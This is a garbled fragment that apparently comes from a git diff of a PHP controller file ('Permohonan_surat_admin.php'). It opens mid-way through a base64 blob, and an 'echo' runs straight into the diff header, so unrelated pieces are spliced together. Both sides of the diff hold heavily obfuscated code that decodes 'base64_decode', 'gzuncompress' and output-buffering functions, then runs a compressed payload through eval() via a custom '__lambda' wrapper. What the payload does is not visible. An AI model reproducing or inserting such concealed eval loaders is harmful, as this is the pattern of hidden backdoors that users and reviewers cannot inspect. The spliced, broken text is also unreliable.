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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXFtzo0iyfu+I8x/6YSI8G71nBnTpbUVHPxhZILAkWyCuLxNA2SBzEWNd0a/fLwHJSJbs7jN9JmI3VB5GFiqqsjK//PIiR3/8WI5f/sD4dpU9T9PF49XX4m01vl2xWfo0+183y373Z+nieRbHD8/z3+8f0sBlSzf9w2XJNP0tC7OP3didz3/77berrx+qhT/+z4fLz+XnvZ8PhLiPP3F8e3XnyuI7c9vkp47U+3ZV3HpB6XeNyiu+fbyMy7iMy/jvHFd+YnDMUpayZDRscz1TxM6jlUf/KkkTrFnS9R8XVV3GZVzGZVzGZVzGZVzGZfynjUs74zIu4zIu4793XHnu/OFz6w/24M/Yw9XXi0Yu4zIu4zIu4zL+0jj8U4mb8WzUnX75E6/BbcDdyt1ZoCbx3NGEzEuiwE7E1DXFpSypoZ9En+vzJk0h9uKRol4X77HO9Z+yOMr8php7xfPOyk/40G9EgSMZW1sTtoy+z7bkgElGbqfGM+7xXqrybi4sHJMPXbpntsr549q6PXHtSfGzbY0yksWbCluviTUaemA3OtFOXkeKc9fcZH4uYB8lwnzIvaD5c9caxV6K53tsPOkK5nBdXz8MIcONawmcrV3nw5vrttzlguHT9WakCTdeg5+6ZjuWRSX2Gx3eT0ax3IuXOGvG+gbnmp2l3A1nrK+u76ZfVl7fWOB8S6exWHmWsXQt6C9vLx1rvLotzxVokvgs96CvvhrKN/J6OLGDQbG3vJVFIYbcvGdBPxL031Oxby9QpTiltbyuoON8U2Yuwt2+/na2GjQ6a8dsRw7OPUji6PZAh7BLwkgXO12RjjK3QfaNP7tmay73R7HdEHPYJfUTkXOt4VyWFrEviRHZD1hY43XNYKMH4MIp7NaGnoWQSYWetzb07yXissDKVMBnSib36Twi6SNkXWHOzDbpu5KD9ncyT9Lxe+cZGIGd1AI3hBPIl7Hu9UyOahiA7l1NzgbdPX4i2A57bEK3WWCoPDN066VCKEsK5BMhG50RuiRcYp4sFXavYbCdOk1jaZt0lnXgmcYS55wXupF40h8Pn5iVGOzQmnx5XyXcA3sK7zdi2n9enR/nEGlPHnNoj7Vtwt79URt6IV2UNmga3F1Q9yP4lgmsJTFnmyFPPuESXqQKL5IKPxA52xqW+uufmG9l2c7WeDZnxdx4i/248nywjbkJvQqPfoNwLK4hWwg9L2kNG1hjmjC1TZbRe18ylgyfwe6CL20IO1tXExTsAYwqYWHjfI+Ttg19VnqbASM8/LKmMzZzaf+E1ex14hxmOyvmS4QfFvpT4dmxVMJI8blHZzLbJMcrmep8pfcMbay3+xon6nJvY0wicQAc3Wma0NOMkaj2YgGf3cldZaLqiqByojLRxbsx1lV74p2p96bAm441xrh3O9Z5BWvcgZvo/djQgZGeImj6PDCwl85jP2McYA0D/91VeNBVQ5lohiIY3RbJdGfoG0WHPo2eaMDu4kQ3+iQnOEnQwEmagT01YYL9BPCrCBmHkFnXdJU+72I9kgkIM+7UHHIZTBhPi/Umcm8xHOvxCHIPMM/QOXEw1lvB2FAFY8dDnGGN9UwZ785iCMZk9zzJE4Hh9Lawf04TaM27SRxDHlXUo4Wg4Zx4bqjpC0HnokDT28qgjuce4X4EO7NY7l4fx45gDEwwKVz50+tAho5dkwt0ifgTPFpi6p6wp77EBTwzWvl94ns2gx/JtjkPxo14zaQe8fb6TrtelLyq434H6wC3mqCBG1fMUp4cwkg6Asep2DteedPrmdtXOf+GeHTDA4c8YRPcj9eYfG3pJQY3yKPdmZ68ptAGVlO3P/47+Rxn32R2w1j6iH/Q1z7usCZrDhK2ZFobsddfwTeeyDcca7hymsJ8kIScZ64DlReGsmhvK0xek7+7OekelxRyrC9saT2nEXNu35gOktHK0zqFDXQu7g24Qq6Jpo8LXZTrfBl1YXNmUWwU1764Eb3UWPj8ZgKf53B/TPwK/oPftovP7tYH80deA37dH/ml7cWIIcbQnJtxFjkmYkRiRLdd1h3DX/WeqGtdH7Fl80WWjJZrjWcK114RN/qJ8QRMbO2mAnuMA2DvCTrcgjPnntRpOuY4vZ3MC3ntxgaxYBjU97Tw6pkx/UlJi9H9/jAYm+oCXPQILC1ZX4FuN7GP5x+KPAJ66wuIDbBLLiSIb08lpoRHqwHdAWd+SjIFGemK5u+fKy74h6WA08af7+LOI3Iayi1yZo642270r90z5aVyLjhvMGkvoC/eEzsFx99r16lfO4OynZNt9s8pfXWGeL64TzYr2xzjlV8hz5pDn+uaXR49E/mUuS71U/pjp8wTSzmZqSAeIpYgv7GR/3iNgqOB0WBW4pN0cbQ34iX5JWSM4OfIz7hPrBFH8O/d+Q7m7/+kp+9kjuXPlMoeg1Qochinb4Re3GlCZ6mttXF+NX7o+nPoJqKYdU52P+lwDnQK+x/IX5NlN/dQ530lBgvmsKd3aIvigu42c9grxJytQn50w30qYvhO1qfZ57ptsA/0Dx4y27Tn/NSau/WGml/ee2/Nm14GTICTEKOBs8F1HV+VHZoj8JjK+1s5re517qdCzS9bn+/qOp4G+a3GfQIekSONZ7fa+sBO5cW2pX8Py7Pj3v2kdeBPd09ZDWOt2TB///ye0UEestmtnZ46P3LsOTBLcr5/9gb/eKTT12dPlIKfCxm175JxJ19+zu41Gb9Hlwtrb6NhekaXiBOUN5HNh2+cW2B3e27iCq57g6cKv8FZph5i7Fk/kOJE7gZ7H4bfr5lFXBJvwZl/2lb4CN/dMNPYkjy32tHz5RXt7AB91XgJ9RRqKZwndYjLd3rI/ayMAcfrCLlDnydUL1IurIY4V+znBRZWzjR8C9c0J0H+yaEenSn93V5RdkLe4sL80JFU1IKUG7TASaPYbaDWbI5T5FcFDo558bar5l6TYtT8hK1fLte0g1tpRHKlLmLaGb2dPb+yRc2VCjxiHveAOuheU55cyXhyG8rqoSsHwMrCmXCoYVXEFsWzNNTgiYg6TO/IUz8YTGGTpNPEGTOne41a1p8Otq30bv3aj2r7d87J+KhF584LO4uRg/oNsaeFWAoZ+OUL3s7NHxU1NekHtQvye59qVbLZEY6vYUtlxfLoKL6+uqJynesOzpqextf1Ee7DJ+IFpamnt9q761dxT3ymOnbwxJGNULeFuWPalc4FYMPgHC04iNu73GNQ9E84YKtum4hslcpT5J6oZ/0tN7VTFXmKwnlTnuLh0i1qruL91oOdUXtmDLkKMKFTPYZ91qiP6r4xvX/aoMYazVFbbzEvQe2Gi1/YZjwfmJAjRd2VjDFvvXInrS+DRu8T9PY2Ruuccxo/mQN72Q2Kh4xX4Hvv+UmV/6DGH2Vyt0W2+wJZZ+Cc5F6jmIYaNekgn9dhp4NcAb7Lox6mPAXPI7/5Ab0WvawzOh26Zkh1fK9a95wu4wdT///U3+wn6O9JruLAwPwRnCJnl+jzIv8iviMuj261kkdqupgyqRXYib/wTDH3kOOe0alc9Qp6JMteJktFPcLmxGOUo9rQtVzmlQtwb075G52BcmcniXNP45HHbmJg4ZxNOD8Rt25X/nTf7WRkG3tCXPq2Dh/H73DFPlesOGZybj2hs8+XX13cJ8eEPmq895JfroPid9R2suSgNh1V/cegwPO7saOK4RX2d/kL8gzU3NUe9XxDNdu8N5l9nujUqyj6DI9qLx7rUWeiGsPvxRxH/bki3jdU6vnE/vRd/Aew39Yx/2/y6pzRo76IxamKLir3eD/5vrhKNUq8dorYwArffxcTmkB1a1zE8Z0PpLucAnmmJpyvgZ+yiapvRJ0Tlb8o65ZVde5PxHB63x+ti15gWSd35GSDPMuYy1L5OtDK/KGSo/D5+5I3eLvJEMPU7a1Y6YKvcXKEnNXkkJc5ITAeTxp2Fbu5TzusU5wtePlmvfKbAvLpN3KSPvdW7pbbFqtytzbkmad2w3im3iEr6kZWcCL51kveydhb/gkOewYnZofy1OvN41p2NPOa7HF0c31Q09dtgfx36h37tVTkATNFiqPCf5APn+4hvNTW2DNyLSVGHvpIfWNwNfIQyuuLOPuq3q5wW8TBU3kN8phdflW/T5g7l1OctJNSnIV/tM0dZ1XrkN0tNT7uRdhFz6W1dBvU5ytzIdccZyfX7p/qDWDto3rMoT5gr5OriZh54JXX671lw+/qRyReU1kQlhCLFj7prkt5a3nmAmONQz2UuDu1FmqBH+nDlHoqsHK2F7Ort1Ilpu/LqB9iNcLQ5TvkA1Q/pUw7UXP11fzhXD1X41/C6FG9mlB/aNJUJMonK5y9uw58lveL+K7PzJwd9gFeemCogUQenMfV51gGd65mPKoJ2cyBnwB3mSN26j2KPdb+FjmSEewgIocKvXMcpjTiyKpjBBxLvQGy9al+R9VPWNomH+76Mvs+0ovcW4oXhEH8Xsx9Y60MtUx6cI/WkpTYT0eZS9//xZ0WYsSsjjHfMmLwuQf5UW+BU0/2PQ57XjV5O/fTA14rewvg7/1cnpu/obM15akO4hnk2vdTTvQcMl+kGkHNSR/g5+B++4W49sTaAtv1jo/3q/Muo955l/I2AzmpsfXzIs50gbcZfYfpoWYoev8JS5HvZhUvH+Q/yO05uxEEt+JGfJDgm/3SzxVJP513SZuVw3cWdAb6rgW4hm2UFXItys3j26Nc9FUe0K9xQpMhHw/AdUaO3CsvOIoD9uj7zB7l6tX3cVL0Q71i1P3cCw+U9fdP56oqxyX/PZ2fquFOnvp96qGrlXwHceN0rnrAV9AXamQW/hX+e9GpuKz52PF6TVcycqrHqJ9z0PMnGxH3a6gfXnrrb9SULz0klsQxyylOlTH31Nmo1oOMwC7wJKE2sQTocUzxsMoPCowfxHDWoNqsR3ya1s9H9eqP9CerWm6fByF3nnvn+pR1Xjar74PEzgz12CPVZI4FjmoE6Ws/Fjg/PZ0DHdmAvpND/dhpVzj+/T4/zVNlz01OLe113lVeX1b09yc+9UOlxYr+5oDq2RO8U9T7pX3P1wZnuDeyGqMpuBIYFzxawzpVl5Idju8d5U+sEcY4n1L0Kk/h7+39KZ7ubfmTePSgX/CfxaOV3XtFH+OIRzPi0m9XXz98+Pv/QOxb8fpr9e4fX3/k8dqz3/PgLy8b/npF/7/6537by7/Lc/n5kX+X5xBTvx6AuITUP77+G5MG60A='; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Permohonan_surat_admin.php b/donjo-app/controllers/Permohonan_surat_admin.php index 62fbf9897..0dca3d1b4 100644 --- a/donjo-app/controllers/Permohonan_surat_admin.php +++ b/donjo-app/controllers/Permohonan_surat_admin.php @@ -296,7 +296,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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